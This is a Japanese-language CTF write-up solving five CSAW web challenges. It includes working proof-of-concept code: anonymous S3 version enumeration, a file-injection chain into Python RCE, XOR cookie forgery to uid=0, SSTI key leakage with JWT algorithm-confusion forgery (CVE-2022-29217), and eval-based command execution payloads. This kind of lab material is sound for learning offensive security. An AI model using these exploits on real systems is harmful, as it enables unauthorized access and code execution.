https://ctftime.org/event/2398
- [web] BucketWars
- [web] Charlies Angels
- [web] Log Me In
- [web] Lost Pyramid
- [web] Playing on the Backcourts
[web] BucketWars
ソースコード無し。開いてみると
What's in a bucket?
Looking deeper into the stolen bucket only reveals past versions of our own selves one might muse 盗まれたバケツを深く覗き込むことは、結局のところ過去の自分自身を見ることに他ならない、と人は考えるかもしれない。
バケット名を探す
Burp Suiteを開いて、サイトを巡回して、Historyを見て回る。レスポンスヘッダーを見るとServer: AmazonS3
とあり、S3でホストしているのは間違いなさそうだが、間にCloudFrontが挟まっていてbucketnameは分からない。
…と思いきやGET /favicon.ico
の404応答を見ると、https://s3.us-east-2.amazonaws.com/bucketwars.ctf.csaw.io/404.jpg
のように出力があり、bucketnameが漏洩していた。なるほど。つまり、バケット名は「bucketwars.ctf.csaw.io」
AWS CLIで色々やってみる
昔のバージョンが得られれば良さそうなので、aws s3api list-object-versions --bucket bucketwars.ctf.csaw.io --no-sign-request
してみるとたくさん出てきた。出てきたものをaws s3api get-object
で取得してみると成功した。適当にリストを作ってマルチカーソルでコマンドをちまちま作って一気に持って来る。
$ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS --no-sign-request $ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB --no-sign-request
この辺りを持って来ると気になる情報が手に入る。
t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB -> Wait what's here? <img src="https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg"> CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS -> <!-- Note to self: be sure to delete this password: versions_leaks_buckets_oh_my -->
ステガノする
この2つを元にステガノすると(?)フラグが手に入る。
$ steghide extract -sf sand-pit-1345726_640.jpg -p versions_leaks_buckets_oh_my wrote extracted data to "flag.txt". $ cat flag.txt csawctf{■■■■■■■■■■■■■■■■■■■■■■■■}
[web] Charlies Angels
ソースコード有り。javascriptで書かれたフロント側と、pythonで書かれたバックエンドが用意されている。フラグはpython側のバックエンドの/flag
に置いてある。
pythonコードを動かしている箇所がある
@app.route('/restore', methods=["GET"]) def restore(): filename = os.path.join("backups/", request.args.get('id')) restore = "ERROR" if os.path.isfile(filename + '.py'): try: py = filename + '.py' test = subprocess.check_output(['python3', py]) if "csawctf" in str(test): return "ERROR" restore = str(test) except subprocess.CalledProcessError as e: filename = "backups/" + request.args.get('id') + 'json' if not os.path.isfile(filename): return "ERROR" f = open(filename, "r") jsonified = json.dumps(f.read()) if "flag" not in filename or "csawctf" not in jsonified: restore = jsonified return restore
バックエンド側でpythonコードを動かしている箇所があり非常に怪しい。しかも、普通に実行しているとここでエラーになる。filenameはGETクエリストリングからidパラメタを取得してきて.py
を付けたものを利用している。フロント側でここを呼び出しているのは以下。
app.get('/restore', authn, (req, res) => { let restoreURL = BACKUP + `/restore?id=${req.sessionID}`; console.log(restoreURL); needle.get(restoreURL, (error, response) => { try { if (error) throw new Error(error); if (response.body == "ERROR") throw new Error("HTTP Client error"); return res.send(response.body); } catch (e) { if (e.message != "HTTP Client error") { console.log(e); } return res.status(500).sendFile('public/html/error.html', {root: __dirname}); } }); });
idとしてセッションIDを返している。つまり、backups/[セッションID].py
を実行していることになる。セッションIDは固定化するのは難しそうだったが、Cookieをよく見るとセッションIDが含まれていた。自分のセッションIDは取得可能であるため、任意のbackups/[自分のセッションID].py
のファイルが作成できれば、RCEまでつなげることができる。任意のファイルをアップロードできる箇所を探してみよう。
任意のファイルをアップロードする
バックエンド側のもう一つのエンドポイントもかなり怪しい見た目になっている。
BANNED = ["app.py", "flag", "requirements.txt"] @app.route('/backup', methods=["POST"]) def backup(): if request.files: for x in request.files: file = request.files.get(x) for f in BANNED: if file.filename in f or ".." in file.filename: return "ERROR" try: name = file.filename if "backups/" not in name: name = "backups/" + name f = open(name, "a") f.write(file.read().decode()) f.close() except: return "ERROR" else: backupid = "backups/" + request.json["id"] + ".json" angel = request.json["angel"] f = open(backupid, "a") f.write(angel) f.close() return "SUCCESS"
POST /backup
にアップロードされたファイルをbackupsフォルダ以下に保存している。いかにもbackups/[自分のセッションID].py
が用意できそうな雰囲気がある。呼び出し元を見てみよう。
app.post('/angel', (req, res) => { for (const [k,v] of Object.entries(req.body.angel)) { if (k != "talents" && typeof v != 'string') { return res.status(500).send("ERROR!"); } } req.session.angel = { name: req.body.angel.name, actress: req.body.angel.actress, movie: req.body.angel.movie, talents: req.body.angel.talents }; const data = { id: req.sessionID, angel: req.session.angel }; const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2); needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary}, (error, response) => { if (error){ console.log(error); return res.status(500).sendFile('public/html/error.html', {root: __dirname}); } }); return res.status(200).send(req.sessionID); });
needleというライブラリを使ってバックエンドを呼び出している。だが、読んだ感じファイルアップロードをしているような実装ではなく、実際に試してみてもアップロードではなかった。外部入力的にはneedle.post
の第二引数の一部を改変可能だが、うまくやれないだろうか?
needleの公式READMEを見ると、ここにあるように)第二引数経由でファイルを入れ込めるようだ。フロント側のjavascriptを見ると、angel.talents以下のみstringでなくても良いので、そこにここにあるようなものを入れて試してみる。つまり、手元で環境を立ち上げてPOST /angel
に以下のようなjsonを送ってみる。
{ "angel": { "name":"Tiffany Welles", "actress":"Shelley Hack", "movie":"OG Charlie's Angels TV Series", "talents": { "filename": "hoge.py", "buffer": "print(1337)", "content_type": "application/json" } } }
これでバックエンドのターミナルを起動してみると、backups/hoge.py
が生成されていて、bufferの中身が保存されていた!!! このエンドポイントを活用することで任意のファイル名・中身のファイルの生成に成功した。
1つにまとめる
以上2つのポイントをまとめることで任意のpythonスクリプトを動かすことができる。ここまでの理屈が理解できていればPoCを読む方が後は明快なので、PoCを置いておく。
import requests BASE = 'https://[redacted]/' s = requests.Session() s.get(BASE + 'angel') session_id = s.cookies.get('connect.sid')[4:36] s.post(BASE + 'angel', json={ "angel": { "name":"hoge", "actress":"fuga", "movie":"piyo", "talents": { "filename": session_id + '.py', "buffer": "print(open('/flag').read().replace('csawctf','[redacted]'))", "content_type": "application/evil" } } }) t = s.get(BASE + 'restore').text print(t)
注意点としてバックエンドのGET /restore
にてpythonスクリプトの実行結果にcsawctfが含まれているとエラーになるので、適当に変換して出力している。
[web] Log Me In
ソースコード有り。フラグは以下にある。
@pagebp.route('/user') def user(): cookie = request.cookies.get('info', None) name='hello' msg='world' if cookie == None: return render_template("user.html", display_name='Not Logged in!', special_message='Nah') userinfo = decode(cookie) if userinfo == None: return render_template("user.html", display_name='Error...', special_message='Nah') name = userinfo['displays'] msg = flag if userinfo['uid'] == 0 else "No special message at this time..." return render_template("user.html", display_name=name, special_message=msg)
つまり、Cookieのinfo経由で与えた何かをデコードした結果がuid=0であればよい。decode関数を見てみる。
def decode(inp: str) -> dict: try: token = bytes.fromhex(inp) out = '' for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()): out += chr(i ^ j) user = json.loads(out) return user except Exception as s: LOG(s) return None
hexをデコードしてos.environ['ENCRYPT_KEY']とXORを取っている。なるほど。鍵を特定する必要がありそう。
鍵を特定し、トークンを偽装する
encodeしている箇所を探すとPOST /login
で使われていた。
@pagebp.route('/login', methods=["GET", "POST"]) def login(): if request.method != 'POST': return send_from_directory('static', 'login.html') username = request.form.get('username') password = sha256(request.form.get('password').strip().encode()).hexdigest() if not username or not password: return "Missing Login Field", 400 if not is_alphanumeric(username) or len(username) > 50: return "Username not Alphanumeric or longer than 50 chars", 403 # check if the username already exists in the DB user = Account.query.filter_by(username=username).first() if not user or user.password != password: return "Login failed!", 403 user = { 'username':user.username, 'displays':user.displayname, 'uid':user.uid } token = encode(dict(user)) if token == None: return "Error while logging in!", 500 response = make_response(jsonify({'message': 'Login successful'})) response.set_cookie('info', token, max_age=3600, httponly=True) return response
ソースコードがあるので構造が分かっていて、前半はユーザー入力で構成されている。よって、平文がほとんど分かる状態である。token = 平文 xor 鍵
であるため、token xor 平文
で鍵を導出することができる。username, diplaynameを適当に伸ばせば十分な長さの鍵を取得することができる。
やってみよう。まず、username, displayname共に「EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE」を設定してユーザー登録する。その際に得られたトークンを使って以下のようなスクリプトを回して鍵を手に入れ、uid=0にしたトークンを偽装する。
import json user = { 'username': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE', 'displays': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE', 'uid': 1 } plaintext = json.dumps(dict(user)).encode() inp = '48674c3731025651282f614a4d543317217d37220724263232722c3111177636227c2834020e3d3d342e311f0a35373d040b0f2c1d033c147013703f060d772a535e551417281f1c2114361540494e6b32727177320a300a06162e211c1f211774260e012c08090e0c3d27152d002c0b3f207200207635720e210311273208773437114a55604c0f02724d6e7027' token = bytes.fromhex(inp) key = '' for i,j in zip(token, plaintext): key += chr(i ^ j) print(key) user = { 'username': 'a', 'displays': 'b', 'uid': 0 } plaintext = json.dumps(dict(user)).encode() out = b'' for i,j in zip(plaintext, key.encode()): out += bytes([i^j]) print(bytes.hex(out))
最終的に出力されたトークンをCookieのinfoに入れてGET /user
にアクセスするとフラグが得られる。
[web] Lost Pyramid
ソースコード有り。問題文にヒントがある。
A massive sandstorm revealed this pyramid that has been lost (J)ust over 3300 years.. I'm interested in (W)here the (T)reasure could be?
JWTをなんかするみたい。
フラグはどこにある?
ソースコードを見るとtempletes/kings_lair.html
にダミーフラグが書いてあった。このファイルが使われている所を見ると以下の箇所。
# Load keys with open('private_key.pem', 'rb') as f: PRIVATE_KEY = f.read() with open('public_key.pub', 'rb') as f: PUBLICKEY = f.read() KINGSDAY = os.getenv("KINGSDAY", "TEST_TEST") ...[redacted]... @app.route('/kings_lair', methods=['GET']) def kings_lair(): token = request.cookies.get('pyramid') if not token: return jsonify({"error": "Token is required"}), 400 try: decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms()) if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty": return render_template('kings_lair.html') else: return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403 except jwt.ExpiredSignatureError: return jsonify({"error": "Access has expired"}), 401 except jwt.InvalidTokenError as e: print(e) return jsonify({"error": "Invalid Access"}), 401
フラグを得るには2つのクリアすべき障壁がある。1つはJWTトークンの検証を回避することであり、もう1つはKINGSDAYの値を特定することである。
decode部分を見るとdecoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
のように使えるアルゴリズムがjwt.algorithms.get_default_algorithms()
となっていた。encode時はjwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")
のように固定されているので変な感じがする。怪しいがnoneを試しても成功しなかったので一旦置いておく。
SSTI
ソースコードをさらに巡回すると以下にSSTI出来る箇所が見つかる。(適当に省略している)
@app.route('/scarab_room', methods=['GET', 'POST']) def scarab_room(): try: if request.method == 'POST': name = request.form.get('name') if name: kings_safelist = ['{','}', '𓁹', '𓆣','𓀀', '𓀁', '𓀂', '𓀃', '𓀄', '𓀅', '𓀆', '𓀇', '𓀈', '𓀉', '𓀊', '𓀐', '𓀑', '𓀒', '𓀓', '𓀔', '𓀕', '𓀖', '𓀗', '𓀘', '𓀙', '𓀚', '𓀛', '𓀜', '𓀝', '𓀞', '𓀟', '𓀠', '𓀡', '𓀢', '𓀣', '𓀤', '𓀥', '𓀦', '𓀧', '𓀨', '𓀩', '𓀪', '𓀫', '𓀬', '𓀭', '𓀮', '𓀯', '𓀰', '𓀱', '𓀲', '𓀳', '𓀴', '𓀵', '𓀶', '𓀷', '𓀸', '𓀹', '𓀺', '𓀻'] name = ''.join([char for char in name if char.isalnum() or char in kings_safelist]) return render_template_string(''' <!DOCTYPE html> ... [redacted] ... {% if name %} <h1>𓁹𓁹𓁹 Welcome to the Scarab Room, '''+ name + ''' 𓁹𓁹𓁹</h1> {% endif %} </body> </html> ''', name=name, **globals()) except Exception as e: pass return render_template('scarab_room.html')
GET /scarab_room
を開き{{config}}
を試すとうまくいった。いつものSSTIのペイロードを試そうとするが、記号が使えないためにRCEができない。
記号が使えなくてもできることを色々試すと、{{KINGSDAY}}
でKINGSDAYの値を取得することが出来た。パズルのピースが1つ手に入った。同様にPRIVATE_KEY
が取得出来ればトークン偽装もできるようになるが、これは記号が含まれているので無理。代わりに公開鍵の方は{{PUBLICKEY}}
のように不自然に記号が含まれていないので取得できる。
JWTトークンを偽装する
先ほどは偽装に失敗したが、SSTIから公開鍵が得られることを考えても、やはり偽装するのだろう。使っているライブラリに脆弱性が無いかrequirements.txtを見てみるとPyJWT==2.3.0
のようにPyJWTの大分古いバージョンを使っていて、検索すると脆弱性CVE-2022-29217が報告されていた。これは使えそうだ。古いバージョンだとPEMをそのまま共通鍵として指定しても問題無いというもの。
以下のようにやってみる。
with open('lostpyramid/public_key.pub', 'rb') as f: PUBLICKEY = f.read() import jwt token = jwt.encode({"ROLE": "commoner"}, PUBLICKEY, algorithm='HS256') print(token)
これを実行してみると…
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
とエラーが出た。手元の環境はバージョンが新しいようだ。クリーンなpython環境を作って指定のPyJWTをインストールしてもう一度試してみよう。
$ docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash root@d7c568217a01:/# pip install PyJWT==2.3.0 Collecting PyJWT==2.3.0 Downloading PyJWT-2.3.0-py3-none-any.whl.metadata (4.0 kB) Downloading PyJWT-2.3.0-py3-none-any.whl (16 kB) Installing collected packages: PyJWT Successfully installed PyJWT-2.3.0 WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv [notice] A new release of pip is available: 24.0 -> 24.2 [notice] To update, run: pip install --upgrade pip root@d7c568217a01:/# cd /mnt root@d7c568217a01:/mnt# python3 solver.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJST0xFIjoiY29tbW9uZXIifQ.hGjNWOZmjK56LiVC8y9VZymVTt6Kq18v_jhaTvM8Wqk
ok. これをCookieのpyramidに入れてGET /kings_lair
に行くと{"error":"Access Denied: King said he does not way to see you today."}
のようにトークン検証は成功した。
フラグへ
これでパズルの鍵が全部そろったので、フラグを取ろう。
GET /scarab_room
を開く{{KINGSDAY}}
を入力して、KINGSDAYの値を取得 ->03_07_1341_BC
{{PUBLICKEY}}
を入力して、PUBLICKEYの値を取得 ->ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2
- 以下でtoken作成
KINGSDAY = '03_07_1341_BC' PUBLICKEY = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2' import jwt token = jwt.encode({"ROLE": "royalty", "CURRENT_DATE": KINGSDAY}, PUBLICKEY, algorithm='HS256') print(token)
- 4の結果をCookieのpyramidにいれて、
GET /kings_lair
を開くとフラグ獲得
[web] Playing on the Backcourts
ソースコードのpythonスクリプトが与えられる。フラグはpythonコード内にある。
safetytime = 'csawctf{i_look_different_in_prod}'
書いてはあるが、どこでも使われていない。ソースコードを巡回すると、怪しい処理がある。
@app.route('/get_eval', methods=['POST']) def get_eval() -> Flask.response_class: try: data = request.json expr = data['expr'] return jsonify(status='success', result=deep_eval(expr)) except Exception as e: return jsonify(status='error', reason=str(e)) def deep_eval(expr:str) -> str: try: nexpr = eval(expr) except Exception as e: return expr return deep_eval(nexpr)
evalしてますね。入力されたjsonのexprを持ってきてevalしている。これはasfetytimeを持って来るだけか?…とPOST /get_eval
に対して{"expr": "safetytime"}
を送ると以下が帰ってきた。
{"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}
これを出してみるが不正解。んー、RCEできるかも確かめてみる。
{"expr": "__import__('os').popen('id').read()"}
とやるとuid=1000(swilliams) gid=3000 groups=3000
と帰ってきた。RCEできますね。
適当にcat * | grep csawctf
するといくつかフラグっぽいのが出てきて出すと正答だった。{"expr": "__import__('os').popen('cat * | grep csawctf').read()"}
を送って、最後に出てきたフラグっぽいものが正答。